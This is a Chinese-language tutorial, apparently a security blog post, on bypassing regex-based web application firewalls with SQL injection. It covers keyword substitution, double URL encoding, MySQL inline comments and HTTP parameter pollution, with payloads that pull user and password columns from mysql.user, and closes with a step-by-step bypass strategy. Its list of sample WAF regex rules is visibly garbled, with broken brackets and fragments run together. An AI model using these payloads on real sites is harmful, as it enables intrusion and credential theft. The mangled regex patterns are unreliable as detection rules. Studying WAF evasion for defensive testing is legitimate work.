突破正则匹配:探寻SQL注入绕过WAF的本源之道
字数 1968 2025-08-18 11:39:30
SQL注入绕过WAF的本源之道:基于正则匹配的深度解析
0X01 WAF基础与分类
WAF定义
Web应用防火墙(Web Application Firewall)是对Web网站实施安全防护和负载均衡的主要工具,是大小网站标配之一。
WAF产品形态分类
- 硬件WAF:如绿盟硬件WAF,基于规则防护对抗SQL注入
- 软件WAF:如安全狗,采用正则表达式过滤SQL注入
- 云WAF:如腾讯云Web防火墙,基于AI+规则防护
核心结论:几乎所有WAF都基于正则表达式匹配来识别过滤SQL注入
0X02 WAF正则匹配原理
正则表达式基础
- 使用单个字符串描述、匹配一系列符合句法规则的字符串
- 由特殊字符(元字符)和普通字符构成
- 示例正则:
- 8位QQ号:
^\d{8}$ - 11位手机号:
^1\d{10}$ - 14-18位数字:
^\d{14,18}$
- 8位QQ号:
WAF常用正则规则示例
- 基础过滤规则:
"[\x22\x27]\s*OR|AND\s*\d+\x3d\d+"- 过滤类似
' or 1=1或' and 22=22的注入
- 过滤类似
- 复杂正则规则库示例:
"(OR|AND)(\s+x22\x27](\s+?)[\x22\x27]$" "(OR|AND)(\s+s+?)[\x22\x27]x22\x27])?(\s+?)--(\s+?)([\x22\x27])?" ".+?=[\x22\x27]\*[\x22\x27]\s(AND|OR)\s.+?=[\x22\x27][\x22\x27]" "\x3bDROP" "((\x27)|(\x22))\*((\x27)|(\x22))" "#.+?WHERE.+?SELECT"x22\x27]","%27%20" "\w*((\%27)s?)((\%6F)|(\%4F))((\%72)|(\%52))" "\w*((\%27)s?)((\%6F)|o|(\%4F))((\%72)|r|(\%52))" "\w*((\%6F)|(\%4F))((\%72)|(\%52))(\s?)((\%27)2A).+?$" ".+?(0x3(a|A)information_schema.+?$"
0X03 WAF绕过手法深度解析
方式一:关键词替换绕过
原理:使用等价函数替换被过滤的关键词
常用关键词及替换方案:
and,or→||,&&union→ 使用||拼接结果limit 1→group by user_id having user_id = 1- 其他等价函数:
hex(),bin()→ascii()sleep()→benchmark()concat_ws()→group_concat()mid(),substr()→substring()@@user→user()@@datadir→datadir()
注意:大多数WAF已开启大小写过滤,仅大小写变换效果有限
方式二:编码替换绕过
常用编码类型:
-
URL编码
- 空格:
%20 - 单引号:
%27 - 括号:
%28,%29 *:%2a/:%2f%:%25
- 空格:
-
Unicode编码
- 单引号:
%u0027 - 空格:
%u0020 - 括号:
%u0028,%u0029
- 单引号:
高级技巧:二次编码绕过
- 攻击端编码前:
page.php?id=1/**/UNION/**/SELECT - 二次编码后:
page.php?id=1%252f%252a*/UNION%252f%252a*/SELECT - 服务器端解析过程:
- 第一次解码:
page.php?id=1%2f%2a*/UNION%2f%2a*/SELECT - 第二次解码:
page.php?id=1/**/UNION/**/SELECT
- 第一次解码:
方式三:注释绕过
常用注释符号:
- 单行注释:
--,# - 多行注释:
/*...*/
MySQL特例:内联注释/*!SQL语句*/
- 示例变形:
- 原语句:
id=1 union select user,password from mysql.user - 注释绕过:
id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user - 混合编码:
id=1 /*!%75nion*/ /*!%53elec%54*/ user,password /*!from*/ mysql.user
- 原语句:
高级应用:
- 规避空格依赖:
uni/**/on se/**/lect - 混淆关键词识别:
sel/*xxx*/ect
方式四:HTTP参数污染绕过
原理:WAF可能仅检查第一个或前几个参数
示例:
?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
利用方式:
- 探测WAF检查参数的数量和顺序
- 在后续参数中构造注入语句
- 结合其他绕过手法增强效果
0X04 综合绕过策略
-
探测阶段:
- 尝试简单注入观察WAF反应
- 识别被过滤的关键词和字符
-
绕过构建:
- 优先使用二次编码
- 结合注释分散关键词
- 必要时使用等价函数替换
- 参数污染作为备选方案
-
高级技巧:
- 混合使用多种绕过方式
- 针对特定WAF调整策略
- 利用数据库特性(如MySQL内联注释)
0X05 总结与思考
-
核心原理:
- SQL注入绕过的本质是突破WAF的正则匹配
- 目前主流WAF仍主要依赖正则表达式过滤
-
实践建议:
- 单一绕过手段效果有限,需综合应用
- 需要根据WAF响应动态调整策略
- 理解正则原理可提高绕过效率
-
未来展望:
- WAF正在向AI+规则方向发展
- 正则匹配仍将是基础防御手段
- 业务可用性与安全性的平衡决定WAF不可能穷举所有攻击形式
最终结论:只要WAF使用正则匹配,就存在被绕过的可能,关键在于理解WAF的正则规则并针对性构造绕过方案。